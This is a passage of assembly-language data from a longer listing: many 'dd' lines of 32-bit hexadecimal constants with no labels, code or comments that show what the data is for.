1C32F836h, 1EB1104h dd 0F2ECC5BDh, 0F1B09A4h, 0C1B0CAFEh, 0CA1216D0h, 0A300DCE4h dd 63DCABDBh, 0B6C5575h, 0A14E7D9Eh, 0F0D30841h, 962FF585h dd 87014ACh, 0EF09A6CBh, 73234801h, 90EC5DFFh, 25BD02ABh dd 0FE5BDE71h, 0B791845Ch, 6519C680h, 0C25C98F6h, 516DB09Ch dd 0C54D0A19h, 7EC3633h, 0AB04F180h, 0FB05F468h, 5D626C00h dd 0B0A65E92h, 40D0B6B7h, 0A8A23E4Bh, 0B771C00h, 91305540h dd 132DEEEEh, 8B99D3D9h, 0C37588BCh, 0BD913018h, 8CD7D872h dd 0DDFE7C02h, 265E557h, 0B89005AFh, 0F100461Fh, 56D3D67Dh dd 39AD7D8h, 3B4A7BCFh, 5C8888B7h, 1F4A6331h, 0B3DE0421h dd 1C02C46Ch, 3D93F26h, 9C3DF072h, 0E3E92ABh, 0BE69FC38h dd 6C7E40B4h, 0F6601C33h, 2D57AA59h, 0CE3200DFh, 10C6675Dh dd 0BB0054D1h, 0C024357Bh, 0CF4F79h, 25814A7Eh, 0FD2A10AEh dd 7AFC79C2h, 0A2E84413h, 0EDC41D4h, 0EC0B7B18h, 0C56D6BAEh dd 639C8768h, 4FF110ECh, 982483C2h, 0EB11244Ch, 55090B75h dd 7425DD9Eh, 81B8B274h, 2A0FCED9h, 15B0C39h, 26109624h dd 310EF716h, 0A05F9082h, 1E9F0E39h, 0FE7E0EA1h, 14EB7D3Dh dd 1B01D418h, 0E82A3200h, 0F4D45204h, 8B7D0063h, 93AFF244h dd 617B74A9h, 0AC889C4Bh, 812FFA01h, 0BDD6E45Fh, 975E0425h dd 8E779108h, 0E00DEE7Dh, 0CA9FD4C8h, 122D2C2Ah, 76FC8BFCh dd 2F10F410h, 56B41095h, 508195C9h, 0E07DBAC0h, 3C90AAB9h dd 29BECA07h, 1ED13F25h, 54431B33h, 0ADF8C3DFh, 4688088Eh dd 0B8124BC3h, 427E786h, 0DAEF28Bh, 79D4E00Ch, 4131A20h dd 5433616Eh, 63FCB3A8h, 0AFCA08h, 5A789B51h, 127FE51Eh dd 0C04CFA00h, 0AE3C6061h, 244890C2h, 0CC3471F8h, 3D5B6118h dd 54EA40C0h, 9830483Fh, 9331DE22h, 5F6B3817h, 40A63C38h dd 0A005A124h, 902FF843h, 347EBA39h, 839967C7h, 0F4ACF5C8h dd 0CD1831E8h, 30512116h, 16AF5C2Dh, 0B4D54004h, 0A601AA4Fh dd 9761F366h, 496ED9C0h, 0C5030C6Bh, 0F1686332h, 0E4C8A14Ah dd 386E0797h, 54F529Fh, 0A248E3E2h, 0AFB53046h, 67FC4404h dd 18C2FDA9h, 763CF81Fh, 9E6F1648h, 0E5D08146h, 26A82469h dd 29A98209h, 0F1947186h, 9E00190Eh, 163C835Bh, 0DA97E6Dh dd 4161D154h, 1687134h, 78E68A79h, 0A92A0918h, 9C798648h dd 8611FB78h, 0ED304B00h, 0AAC350A4h, 6A61D51h, 0B2E4223h dd 14487E2Fh, 26013452h, 4705AC2Bh, 41C04DA8h, 1FDC91C8h dd 15FF0135h, 0E8F00B2Fh, 0CE255290h, 1CFCE623h, 0B704DDEh dd 0FC2602A7h, 6098881Fh, 5C0AF320h, 0C0091CEAh, 0C8416A07h dd 0DB8DC425h, 0E5F89963h, 0C235E201h, 8850C0h, 0AA228B63h dd 9DAD2555h, 2FB08095h, 5932FAC1h, 0D1B84096h, 0B9B41C0Fh dd 2FC13E90h, 0EC1AD33Eh, 63B79C52h, 0EE9990EEh, 0B236009Ch dd 934AA615h, 0F010811h, 0F1E1A497h, 0A8A537BDh, 21B83897h dd 13DC8410h, 0AF308119h, 8C3B3A2Dh, 5F0F22Bh, 800759A0h dd 0AD7B6230h, 9156CE80h, 1991D150h, 91484EF3h, 0F8E3C51Ch dd 0A0C0235Bh, 2C13170Bh, 5EB0B625h, 1B042546h, 8035C10Ah dd 77D29ADDh, 4A20D898h, 346D4BBEh, 23A82E90h, 99B010Ah dd 0E4C0831Dh, 7A17E2E4h, 986F8A1Ah, 9C7A5707h, 0A05FD0F5h dd 6807E8BBh, 5867E25h, 609D3750h, 9350A07Bh, 0BCE177ABh dd 58668978h, 5311E8D9h, 0B8273580h, 44BC24AAh, 23F9F58h dd 94F5B627h, 0D4527AFBh, 262ED498h, 0DD136CCBh, 0F52474C0h dd 258B1E88h, 95878D1Dh, 50353B18h, 49B228F2h, 0FC12130h dd 0AB4BF8F6h, 80934F6Fh, 29FD12B4h, 0F7AF440h, 0EF6FEC5Eh dd 89E3CE80h, 0F49EFC5Ah, 0DC30B117h, 0E79CA28h, 0CB316A2Dh dd 7F727620h, 37007ED3h, 0C00B0117h, 6E0E2D02h, 0CA0058E3h dd 1252AC3Dh, 66DEECA8h, 5619FE2Fh, 7183025Dh, 24E6509Ch dd 7235D111h, 0BE9C7726h, 0CC666715h, 0E80CAF00h, 0BD86F327h dd 695A1C9Ah, 3900E86Eh, 0FF7B1779h, 4F2E3A51h, 2F11B04Dh dd 8CA0CA2Dh, 382DC605h, 7355462Ch, 43C5B300h, 0D49F1Ah dd 22FEB995h, 254BC871h, 91E4979Dh, 57009FEFh, 69256676h dd 0F28A005Ch, 0F3C99533h, 0AA2C275Dh, 0A0409C1Eh, 0FAAB3753h dd 0E1C33F80h, 0A05A0212h, 0E09616D8h, 0B1B8DF80h, 543D5CAh dd 7976678Ah, 2E6800B4h, 8357276Fh, 730F7201h, 6066C19Eh dd 457C74D2h, 0B17CF697h, 0EF706450h, 2F7102CEh, 11D72B94h dd 2EE07846h, 0FDEF910Fh, 259FC05Bh, 0B2599671h, 1D8128D4h dd 0F76D0074h, 0E3EC253Ch, 6303F0D6h, 6B21AC5Ch, 11512E3Eh dd 0C07DE14h, 498CC1BCh, 5F041C44h, 5404130Bh, 0F505A9B3h dd 802C1291h, 31EEAE0h, 0A186710Ch, 1224B1FCh, 14FD0AAEh dd 0CC167845h, 0CBEC5393h, 0A02BDC08h, 2665AF01h, 5EDDFE48h dd 1068003Fh, 1A924D53h, 0BC40749Ch, 0A88497F5h, 0A8FC19F8h dd 70F3FCh, 5A2E377Dh, 0DA74561Eh, 0F14A6600h, 0E48058F2h dd 10AE008Fh, 0BB869025h, 7F0063AFh, 3DD2059Eh, 4CC4FDF6h dd 77E8345Fh, 56B7A8Ch, 70CCA129h, 15348080h, 24BA03F2h dd 19A92604h, 38D0C956h, 269D9FA6h, 74A8F00Ah, 0A2F18EFh dd 5805E626h, 0C8CD13C3h, 441E4790h, 0DBC0B73Dh, 0D58E6BC5h dd 222AE175h, 60303B04h, 6BCB14ECh, 70E7CC45h, 0DA2DEC68h dd 1E1CA50Ch, 3739DDh, 2843EF36h, 711DA126h, 931B19C0h dd 0B0F5603Ch, 0CA10F1D4h, 0ED26B673h, 0E7026803h, 8AF31B01h dd 7B08408Ch, 0C95A3EDCh, 0EB188894h, 0F65B42DDh, 9F371882h dd 6FF4EA07h, 18B1D4D7h, 106B872Dh, 0B4403C08h, 0ECE54152h dd 48A06CE3h, 0EE18D1C9h, 0D6B9F41Dh, 7B2E00D7h, 4F1EC0B5h dd 9B4B6309h, 9BC0C09Ah, 0AA81EEE9h, 0CF507EECh, 0A60969F8h dd 0C5F7796Ah, 11EDE290h, 726A9018h, 5E75002Fh, 0F00CC5E6h dd 815DE07Dh, 8C06A830h, 0BB131604h, 80E23B01h, 8D8A2500h dd 5BA507D6h, 0EC21EE01h, 7432F53Fh, 90D8A2FBh, 0E569E7B0h dd 0E293A474h, 0E38004B4h, 0D0E6BDA6h, 6ACDBF10h, 9F079090h dd 0B9643398h, 0BA402470h dd 658B33F1h, 60DC2210h, 10B4BD38h, 6662E0Ch, 9DB64035h dd 0C834B741h, 14808F2Eh, 7A467Ch, 7ED6D0C6h, 924F68Ah dd 261A79A9h, 34D36709h, 0A42D1701h, 34232771h, 0B91FF079h dd 187AD1CCh, 612E0062h, 4B678479h, 315C4348h, 0F56C4194h dd 0F84DE09Eh, 4403622Ah, 9548D177h, 8C06E8E8h, 3BD8A504h dd 1CCC55B9h, 0C8891CF7h, 90663033h, 0FC52A3D1h, 300AE230h dd 36007872h, 0BC64FF96h, 4FF53B9Ch, 7EECC8DEh, 0E0B4A612h dd 4CDACC00h, 252831C6h, 58A01E1Dh, 157E37ACh, 0B1972F00h dd 236C41Ah, 199D036Eh, 428B915Ah, 1099B0F0h, 0C4342D2Ah dd 865EB202h, 7EFB7D57h, 704674E8h, 1CB77C00h, 7E67BB61h dd 0E62754B9h, 841930E4h, 0C9D61C71h, 23F04705h, 448805B0h dd 0C76A3B69h, 30A33200h, 0D294C8DCh, 0E9EE8419h, 1EAF728h dd 7A301725h, 1BCC820h, 0BEA90051h, 0AB5A6E2Dh, 5D00D607h dd 86960BB7h, 0A17AA68h, 3193C453h, 22DE1080h, 5F2E0432h dd 257CEF86h, 4923482Eh, 4EAA7B00h, 27B125A5h, 0BCA00B24h dd 6712CEAh, 4FCB641Ch, 0A94886C0h, 9E59C993h, 0F84D2720h dd 62B2D9C0h, 15710835h, 8500EE1Eh, 9AD2FED5h, 6C6D00BDh dd 0D35ECEB0h, 0F4007A3Ah, 0C459568Dh, 4BA7FCABh, 234C3E89h dd 8E410039h, 3C91C569h, 6D6C4A0Eh, 2090131Ah, 0B0B3CDAAh dd 183F0009h, 9AB169Ch, 0C800D2AEh, 0B61B274h, 0CCD31D1h dd 95E71793h, 0FA501E39h, 0D4033264h, 84BC6F4Ch, 8B3AC060h dd 0A7D4A1C1h, 0F2308414h, 0F9F6830Ch, 0F95B93ECh, 0B0251B1Eh dd 0B9B8CC2Dh, 34A68D90h, 0E2D98300h, 3AF38797h, 3D470059h dd 6A581EE5h, 9AEC819Dh, 7F6B9302h, 52D5DEF4h, 4A580004h dd 9AB3FE7Eh, 7A094D94h, 0E3E74Eh, 0F46331E4h, 12931C24h dd 0F5C94926h, 0B5953852h, 3FBB8394h, 18881498h, 9B7C4F0Ah dd 6D906463h, 6E285AE7h, 0B70D00B0h, 58B68799h, 0C8AA4ABAh dd 0E009240h, 24E8E313h, 0B066AB90h, 8BA8E878h, 96F0D186h dd 7F83FC0Eh, 93F008Ah, 16959325h, 0A7714C51h, 0A30DA06Ch dd 63321072h, 0A9268005h, 0C1761C51h, 9093B258h, 5C73A0h dd 5E9B9E0h, 0EE27078Dh, 61FCEDC2h, 72A998D8h, 4C76E8B5h dd 0BE22C0C5h, 4EB84870h, 56A3FE03h, 0A179815Dh, 603BE07Ah dd 12E9F530h, 61E29700h, 0C5F4EE80h, 5C033FFDh, 26DE711Dh dd 74982E34h, 0D9047B46h, 0E2B809DBh, 30A40034h, 7D18413Fh dd 7CBB0793h, 4004B35Dh, 8D5A20BDh, 3C7A5516h, 0C00760F2h dd 911A44F1h, 70FB21E7h, 999D6C95h, 7D0B30h, 0E5F6DB00h dd 0B5093732h, 0E37C6300h, 0CDFA46F9h, 0A993249Fh, 0DA9716D0h dd 466DC048h, 27CFC8FEh, 24643007h, 328C4000h, 10AC8272h dd 1D8B9E3h, 71B27323h, 7DA03153h, 76F3004Ch, 66F8EDA4h dd 19D80005h, 6C12F5CEh, 4A5E1B60h, 3A88508Bh, 0CE43E2C0h dd 0A55F14B0h, 0BB809C05h, 0F8EFFCBDh, 1CA14C00h, 8C434C1h dd 795C913Eh, 19180Ah, 3A62C224h, 88B3644Eh, 9B5C26F8h dd 6D972D16h, 0E6846078h, 4F00D17Ah, 0E6397C9h, 0AEEA990h dd 0AD91F528h, 2E1C8198h, 6A7BD633h, 0D23102Fh, 677D4700h dd 951DCA73h, 0F115B421h, 0FD3EC02Eh, 8F7E4D09h, 11701D5Eh dd 79CE8046h, 151081h, 0D526BDF5h, 295EFC77h, 906180B4h dd 9B304B86h, 84952EC9h, 0AF39E130h, 0CC3A617Bh, 10BE6F2h dd 0F1729060h, 18F2D198h, 951705FCh, 0E875AEF9h, 486828DCh dd 0E669107Ch, 0C9682579h, 0F028B0C6h, 18E72471h, 7EF1406Ch dd 2E0E50D5h, 0D413312Bh, 430AB848h, 18BC0010h, 0D277320Fh dd 0F7A914C0h, 0A326B517h, 0EF467EA4h, 1E325E07h, 0C79F263h dd 10FBC841h, 0E0BEBC58h, 0C9EEDDh, 0A1F837C7h, 901B92B5h dd 0E4D9A32Ch, 2FE12D1Ch, 4D80A868h, 0BDEA3B77h, 0A60073F2h dd 0B1B00774h, 50703D2Ch, 1CFCE896h, 0B4BCB4Dh, 8C24F8A7h dd 0CF5888CAh, 3877D6E0h, 98BD16F2h, 70BE4Ch, 5EAFB505h dd 797D6CB1h, 3840C94Ah, 1E6745B6h, 0EA021C61h, 33E9C0BFh dd 4F681C20h, 68E78E31h, 86F66311h, 54C81B58h, 0EAECF4F3h dd 49ECA012h, 0B4FB0656h, 61D6C992h, 0DC28B6h, 532DC95Ch dd 47D26F87h, 64A4F012h, 0D1F10020h, 5E730E27h, 4F05AC41h dd 9A3091AFh, 31711760h, 8EE46ABCh, 0DD690970h, 0C686E7Ch dd 0A4F63004h, 37E72D12h, 5E8D0E0h, 7EAD9334h, 0B4B021A6h dd 0D1DEC174h, 2C0B2F89h, 0A34C20CDh, 11C5B24h, 31BE2F10h dd 7A933CE7h, 0A6F56008h, 64AA11F0h, 9321D918h, 5481049h dd 81330230h, 0AEC81E1Fh, 14C17C20h, 0DF0800CCh, 689D7870h dd 2D078D2Ch, 56977138h, 0ED94BBE0h, 0FE332F05h, 1A927460h dd 0FBF0680Eh, 7162908Fh, 5F207E94h, 240C252Fh, 0EBC2363h dd 86C02409h, 91936F53h, 0F2991605h, 24804D3Bh, 0E8E8E2BCh dd 2AAA00C3h, 26FE5240h, 0D4E758D8h, 57037FACh, 7490E4C8h dd 0E0F890EEh, 0F1A20F1Bh, 9161234Ch, 0D040DF03h, 0BA0044EFh dd 732E4F7Eh, 688C6C0h, 2623F24h, 165BA9D4h, 449274D0h dd 0F1E10632h, 21DD7A62h, 0DA9B900Bh, 0D8EC049Fh, 2F43005Eh dd 9A264B35h, 273C5072h, 0FDE28F72h, 0E85DE081h, 179B0Bh dd 0D632252Ch, 10984D29h, 0DD833F00h, 2BECAD5Ch, 4E823B54h dd 0ED860075h, 0C8EFC6E2h, 4A7C53Bh, 5F964057h, 0C700589Fh dd 0C9486466h, 3CD26E42h, 0CBB05A10h, 0AF186028h, 0F13A3Eh dd 0C3E95879h, 7C9BDD1Ch, 51DF60CFh, 13EDE67Bh, 85678D00h dd 54B5251Ch, 5609002Ch, 608CE8A6h, 0C1014348h, 0EB20D2CEh dd 4880AFF4h, 61516B50h, 0A801608Eh, 39B57BA4h, 0A980E2CEh dd 77B43C53h, 0BC00A292h, 0B03FA54Dh, 115E18C1h, 665082Ah dd 0C3E4607Eh, 0EB1D0160h, 25A74D94h, 7C509F74h, 1A0B0D03h dd 64B1000Ch, 514118D5h, 6C0295AFh, 502E4C60h, 0CF0880E1h dd 0ABE8D1h, 0DB927861h, 0FF2839BAh, 0D6836200h, 0B27820Ah dd 0C61E003Ah, 6F63A966h, 950086DFh, 75F9AA24h, 326446Eh dd 8893BC52h, 0A8E8A46Dh, 5B018F5Ch, 0F053172Bh, 3F0DE0h dd 6935FCA4h, 7F388C33h, 0D74995DDh, 0FB020CBCh, 0F5B80Bh dd 824A6ADCh, 0C05531A0h, 3DD2FE0Eh, 0ECC5423h, 63BB9F06h dd 0FB03CF3Bh, 0B0F193FBh, 0EB16AE5h, 0D9F29304h, 18603C3Fh dd 6012925h, 0C2B48B15h, 2FC2B020h, 0F8DA8092h, 0E86B3Ah dd 1AEB8E38h, 0EC802236h, 0EC3C1FF5h, 79BE00C5h, 0AEB04403h dd 48C6A00h, 0CFD25BF6h, 171887E8h, 895CC1C0h, 0C21450CEh dd 0CA3EC56Fh, 77F5BE0Bh, 0B48ED100h, 0FC2B9199h, 0F371CEh dd 0C2FDDC6Eh, 80785DE9h, 8CA34A4h, 0D68F80A8h, 0FAD9139h dd 91DB80A0h, 0C539E6h, 0D98E15A7h, 68F4D197h, 0BD008190h dd 17998333h, 2480EFC7h, 0BC5442h, 0D4FC0902h, 13244E3Bh dd 8403CC67h, 11C20D9Dh, 1141E728h, 0F108FD75h, 0C910C61Dh dd 4843A184h, 314B42D1h, 210C0522h, 26DBD8Dh, 63C83FDh dd 0F1292834h, 0B8153228h, 85119929h, 0AC182845h, 8BEC4029h dd 24B940FCh, 7B12A4B2h, 54ED008Ah, 84A6B4CBh, 0E20006E1h dd 0A0AE1CA9h, 9CCA3F8h, 0A5461F0Bh, 0EA810303h, 0A2451680h dd 8608B70Fh, 0E19823D3h, 672398EDh, 0E66004Ch, 0BF427CB2h dd 0F0001EB1h, 0A5388B01h, 73C9B60Ch, 0B77CF3h, 3A50AE5Ch dd 396A7819h, 8894F600h, 4853E623h, 0D50D004Dh, 8D479FBDh dd 37003960h, 1D4A219Ah dd 4CEAF0C1h, 6C008820h, 0B6A217A3h, 474CBA6Bh, 8D0C0070h dd 0F439B08Fh, 0A9D43AB4h, 0F1786A83h, 18008C3Fh, 15F3483Dh dd 7D1EB8Bh, 0B40D03E7h, 0EC2AF06Ch, 8E003B20h, 1AD37C41h dd 7CD098B1h, 22D5022Ch, 0DBBECF0Bh, 1E92CE0h, 3AFF1930h dd 0EA96C5h, 0E592932Eh, 84D2D30Bh, 56352200h, 0F5633ABBh dd 0BD4E8EEh, 1B0615E9h, 6403B180h, 0BF3BA40Ch, 97F871Fh dd 45306590h, 39B436h, 0CB26B951h, 17281A53h, 2EC37716h dd 601B140Eh, 0D1374CE4h, 0A1400C1h, 24B1B58Bh, 8912E53Ch dd 1200FBF5h, 13B73ED4h, 1005004Eh, 432E66E4h, 991ED365h dd 0B4034DEEh, 9088A1F7h, 0C911Bh, 0ACB93A90h, 4433EC11h dd 25D688C0h, 6C26E3h, 1F4A75EFh, 22D2BA86h, 40283300h dd 0FBB9F047h, 8B7E0E08h, 0B7209E9Ch, 8FCF8939h, 0A1B69800h dd 0D4033011h, 9C34EFE5h, 364D0096h, 5087573Fh, 0F23F0160h dd 0C3D98544h, 258741E6h, 58321D20h, 1C19B0FAh, 0C0E4F267h dd 4386F76Fh, 6800C0BAh, 0C6FC320Ah, 7BBFED80h, 7110088h dd 0A0815A73h, 72004526h, 0EF5CAEB2h, 0BB6002h, 19A3684Dh dd 0A086D49Eh, 67784E00h, 0DDD77D5Ch, 0EA1C0FCh, 0A5FDF4F1h dd 8EB69600h, 99D24F0Dh, 65FE00FBh, 0A1F8C53Dh, 71EE2C6Ah dd 0FCF06000h, 0D54A4D98h, 0E6C60046h, 0A6C4DA2Ah, 97002433h dd 0B853AAF7h, 16ACDBh, 2025657Bh, 156858E6h, 1F5CB200h dd 0E42E373Ah, 6E52005Ah, 0BF531BA8h, 3006260h, 497F74D2h dd 5F2620h, 0DD0F9A38h, 0C4E9A8DCh, 31E16818h, 0D18670h dd 879CE2C8h, 0C01AE7FEh, 0B8D3170Eh, 0C044EF5Ah, 2C749560h dd 0D81F0CC6h, 0A3406781h, 0CF189901h, 0C9025384h, 0AEC9E30h dd 44D4FAEEh, 876D00D4h, 34CC0B7h, 47FD831Ch, 0C088E70Fh dd 52868BA9h, 0AC24009Ch, 0E3C5B87Ch, 0ED0E0913h, 2006FB82h dd 0BFC8902Eh, 0FE2A507Eh, 57C1149Fh, 8C00F388h, 5AC48249h dd 0FC00C68Bh, 9C59CD92h, 39E1A5ADh, 0EB80F8E3h, 9472B030h dd 1F00BD64h, 256309EAh, 3FE283C3h, 0B6000AB2h, 3036E51Ch dd 0DB7A6DEDh, 0A6CC8102h, 60A0341Bh, 509BA27Ch, 2EFB82Eh dd 9A3C4AEEh, 0D161E9ABh, 0E52820B9h, 0FDE29702h, 40FE928Bh dd 0F526B3Ch, 552346F5h, 47A0C26Fh, 0D8A246Ch, 0EAB1DA17h dd 0ABF08C40h, 726F07h, 0B37613A6h, 1D63AE6Ch, 0AAAD9A00h dd 0A152C5B6h, 7D6E0092h, 0DD9C73D0h, 0E200BD38h, 46989DBCh dd 2E83FB70h, 6A1969h, 9FDFD609h, 0D8010802h, 28609E42h dd 0E320C5BEh, 61170039h, 5D9FAF04h, 9E010DDEh, 64A997E6h dd 0E340FE45h, 0F5B81Ch, 8653B48Dh, 0E02803E5h, 5D698103h dd 0F8A1C094h, 0F97EA307h, 0C023EAEFh, 0EA9D3580h, 0F8890073h dd 29F1F90Ah, 7F00A315h, 0F208A5FFh, 75227B17h, 724C0028h dd 15451ED2h, 4A00B52Ah, 59D3D6EDh, 0E8C9DF77h, 0A451000Ah dd 2B93B628h, 0AB794631h, 0A2766A00h, 7BFDF6F8h, 520100DDh dd 0D7A82B9Eh, 8F017D6Bh, 5D0F38CAh, 9D401ACDh, 710C3A4h dd 6C80E2FBh, 42C490B6h, 9D034F36h, 0C90CF5Bh, 8237A0FDh dd 930A03E2h, 0A305695Eh, 414EBDE8h, 0BBC12600h, 2B5495B5h dd 14E409AFh, 0BD80E6F7h, 71C8641Bh, 0ECBCF200h, 0AA4324FBh dd 67BA9h, 8A462B10h, 7E97FADCh, 0D24B9100h, 0D70B3A56h dd 0BD390761h, 0C06694BAh, 150301CEh, 1000C676h, 4D9BFDC9h dd 39F15D59h, 0CBBEAB85h, 1BAF5704h, 0BB0890CAh, 2C0118DEh dd 0BFD7E7Ah, 0C440218Ch, 2AB2BF1h, 0B70AD5B2h, 92405DBDh dd 0F403C817h, 18AECD01h, 0FF84B0A6h, 47AD00B0h, 9A50E610h dd 0A9005E70h, 429CC516h, 0AF82CCh, 0FFACA4BFh, 640F93B5h dd 8258D348h, 60040D51h, 1C35328h, 0C7B6864Ah, 601DDEADh dd 6E00B931h, 69A3E77Fh, 1E142E0Dh, 408B87B1h, 0A46AEFE6h dd 91000FCAh, 0A0716103h, 412055h, 512D5A0Bh, 48162389h dd 6A3E5800h, 7695F6C0h, 8F94006Fh, 0D640324Eh, 33008CA6h dd 0C86B754Ch, 98D3E2E9h, 0EACB00F4h, 512834CEh, 430B0578h dd 0D7A1BCh, 7EAE8299h, 257E7Bh, 0AFC9D93Eh, 20BCE7F8h dd 7CF6C6EAh, 0F4E17D1Eh, 0BB6F5C80h, 14EC437Ah, 0BF68F31Eh dd 52639F00h, 91324DE0h, 0BD54CF3Ah, 0D2EB8379h, 0A865D8F0h dd 3FD0253Eh, 3F807824h, 7F8B202Bh, 0DB0969ACh, 601C1AD6h dd 7E864CCh, 0C58641A6h, 82D90057h, 0C8035B88h, 8DF66A3Ch dd 5CABC82Ch, 542903C0h, 0AE81E438h, 5541A4E8h, 42DCD701h dd 3F3A947Bh, 0B8EF6474h, 9C5B00ACh, 0A58F134Dh, 930092CBh dd 0C3F8A615h, 1EFB165h, 0F3B6A33Dh, 0F05DE207h, 0BB17174Dh dd 0E85CDAA8h, 0A96EACDCh, 561DD826h, 1858A200h, 4D24EBh dd 85EC0FD6h, 10B2F2F0h, 0D8164807h, 0BD04C95h, 3D5A6667h dd 6130FF51h, 120540E8h, 0E934CD00h, 0AAF18FE3h, 273F3E10h dd 0C688E280h, 1AD9097Ch, 0EBAD4401h, 220465BEh, 0CA1830h dd 164B9E0h, 0B3086120h, 81E58B0Ch, 0B0C7E8ECh, 0A6CE004Ah dd 298A9CAAh, 9A000B0Dh, 0A5BBE3E4h, 0F71B507h, 851F7F73h dd 1341DF00h, 0C002644h, 9FC29DEEh, 3AA294h, 12EF2CE4h dd 0DEB49AD1h, 2416192Eh, 0B568AD03h, 0B8D9B127h, 21FCC4h dd 0F90D8818h, 0BB082E93h, 80E1B63Dh, 0FD9DE3D0h, 120E67h dd 23FFA177h, 26DD72D1h, 4822281Ch, 2141AAC1h, 0B9F8BC4Fh dd 13180056h, 582AFE0Bh, 0A0071C88h, 71F80ACBh, 4E087D00h dd 3755003Ch, 34C2BBC7h, 8300EA82h, 8E488C20h, 1C90AA69h dd 427140A1h, 2F886A89h, 47DDF8E0h, 62A8D600h, 0D9C13775h dd 9AF40091h, 0D14A8954h, 20909D3Ah, 250033E0h, 2A143B34h dd 307E620Dh, 2F929B27h, 600274EFh, 3FC9DDDCh, 0A30460FDh dd 6B42B0h, 1B6011A6h, 132692A8h, 410FAEBDh, 17B588ACh dd 8DCB20C5h, 9A8EED00h, 0BA7CC963h, 0ACE4A1h, 5BA774A0h dd 56FD22D2h, 2EF25F00h, 0FC097393h, 0EFD900FFh, 3B692AC8h dd 0DC043C1Ch, 0B7DB1D7Ch, 2BDA0A0h, 503962A5h, 0CCC04645h dd 0FD0F24D1h, 0B4D8DAC3h, 401700F8h, 0CDFC8830h, 5310C5A2h dd 0D7C2AA36h, 0C6E0E05Bh, 0F2BB89F8h, 2EB8118h, 1605183h dd 0A980D3C7h, 284F5FA0h, 8D330400h, 0E22CA59Ah, 3C46B0D2h dd 4200CE27h, 0D7E93746h, 0E31FF088h, 0E29C62F7h, 80BCEB8Fh dd 0A2C44C21h, 0DF5900AFh, 0D4E03048h, 0CF01D263h, 0B540C2EEh dd 0A030CBDBh, 5AA00096h, 0C3BEE8ABh, 0DE009D90h, 6B554D21h dd 0D1FA28h, 0D6595839h, 9FCD0D4Bh, 55F011Dh, 5D37B540h dd 0CBDD18h, 1A1FC772h, 0E91DA049h, 0FADA4E00h, 2685DCCEh dd 994D00A6h, 6668FE60h, 4614961Bh, 880A6Ch, 0B8B250B4h dd 3A07D776h, 1B80A8D1h, 0DAECF8B3h, 79605A87h, 784FCE78h dd 2FCB2E2h, 91B5175Fh, 2D00A2B3h, 7ACFCC7Dh, 90FD78BFh dd 438B0BDCh, 0E400A812h, 95A447ABh, 0B6CCF70Bh, 0D65023AAh dd 0C01CF3F1h, 78CD36Bh, 2C79E623h, 4DEEF0B6h, 56002938h dd 0A3EAB491h, 98C8AF5Dh, 351B0004h, 1C267A72h, 0A7009880h dd 0E0082A37h, 24ADFFA5h, 384A2Bh, 78E9924Ch, 7581B906h dd 3840FF71h, 0B2311Ah, 5DE3307Ch, 1C6B5253h, 0C4578702h dd 0F478A5F7h, 0A85E0039h, 994638B5h, 3133DF01h, 0BDF0F58Dh dd 0E591A080h, 13E8F6BBh, 81B4AB03h, 0B8590307h, 301992h dd 0B5F8E214h, 0CEFD548Eh, 0FBCE600h, 1D4758DEh, 6B2D0389h dd 9B777059h, 0DD93B000h dd 0B8E4BA84h, 2A300585h, 0C0253CD3h, 9AB421E0h, 0B60047F8h dd 34270C92h, 0E0DE68h, 681FB0Eh, 0B241B41Fh, 81FF073Ch dd 361B6B99h, 9CD4D2DDh, 804A019Ah, 0E3C51859h, 16CDCC3Bh dd 358D901h, 55B2F55Bh, 7794070h, 0CA3E66AAh, 40003B6Eh dd 38E63320h, 57256270h, 23A400F1h, 701BBCD9h, 10260046h dd 5F79658h, 561CD394h, 0C5267733h, 9FC56601h, 0F4F50B5Ah dd 0B30F1829h, 1CA40D5Eh, 58E2E3h, 84BCA0DEh, 47074h, 2B1C067Dh dd 2E3B6008h, 0B3B7E600h, 0DF4CEB58h, 5C7CF5h, 8756B432h dd 763B4E4Bh, 0E4D5941Ch, 39A9AF07h, 17ABCC90h, 19950051h dd 60FAEBF4h, 0F900EDD9h, 0B7D06EDEh, 2272B2h, 0D709B8D2h dd 7A79EBBFh, 7682D500h, 0AAD0BBCDh, 89724Ch, 37E7FD26h dd 0ABE6143Ch, 0B8C7E31Ch, 25DD55C7h, 7C30A489h, 53C4FEh dd 31084F9Fh, 9100902Dh, 3D22D510h, 128AF0E2h, 45F7D956h dd 4578A330h, 0D05FEE88h, 42BFF5ECh, 8D47C704h, 0A880E821h dd 20A1B73h, 7F5C7613h, 0E060CCC5h, 0FC48B6F3h, 64222694h dd 0C31FC186h, 0F0660170h, 868CE62h, 1AC2776h, 0A4BD46F3h dd 25E4CB09h, 98BE0171h, 0F0B6D17Eh, 6E68202Bh, 0D60D6A26h dd 8B80161Dh, 8F7C85C8h, 59F60096h, 3FE9F312h, 0D800EF34h dd 2248D049h, 0B87A8D7Ch, 8E40030h, 0A018867Bh, 0B40041A5h dd 7F8F0B93h, 403D0Eh, 0CBF685F8h, 7265CA6Eh, 0B9303702h dd 0E35649A9h, 6029EA74h, 1D0D2082h, 140B8E2h, 30D33557h dd 0C88B7144h, 0A20FBB5Bh, 186347C2h, 706B20h, 8FE5A99Fh dd 0C5B68BB2h, 0B83B7D00h, 0B0AF4089h, 58B864h, 25354D18h dd 557BE1FAh, 1CD16A00h, 3A592C37h, 4B230369h, 9C03F131h dd 3D0B70F8h, 0C25BDD00h, 0EE814EA9h, 59DE243Ch, 17B0210h dd 0D4A3DB61h, 30AAD49Fh, 580578D0h, 0BD84F52Bh, 0F764A0h dd 0DAAC9EDBh, 9A3F98F1h, 0A7ABBC00h, 0E549B2CEh, 634600FFh dd 91F4F35Fh, 0C0723141h, 57B62400h, 17D6944Ah, 0BBAA00DDh dd 418A9849h, 14004FD2h, 121151E4h, 0AD1958h, 0AE3546CFh dd 0FE22EEF1h, 2DDDDE00h, 373905E3h, 95DA03FFh, 8B038533h dd 761CE8E0h, 0B7BB303h, 0B0998161h, 784E365h, 56F71807h dd 4FC3B347h, 47F00ED9h, 0F4FC01DFh, 0DFAC2070h, 207DC8E7h dd 0ACDD9F05h, 0BAC08057h, 4EFFDFFh, 14AFCDEDh, 8988E081h dd 6F9E851Fh, 0C9400F1Eh, 95B4811h, 84DE48EBh, 977D4B00h dd 73A7D8E6h, 7C001C90h, 1C3A9440h, 0DADFF9h, 4CE4C7F8h dd 69B9CC1Dh, 3C0FEB26h, 0B3370205h, 211F088h, 85650703h dd 10C02F12h, 71FEB51Dh, 19C9A204h, 88F5D5EEh, 91E00B40h dd 0DEF6BCh, 84D8350Ch, 616BD604h, 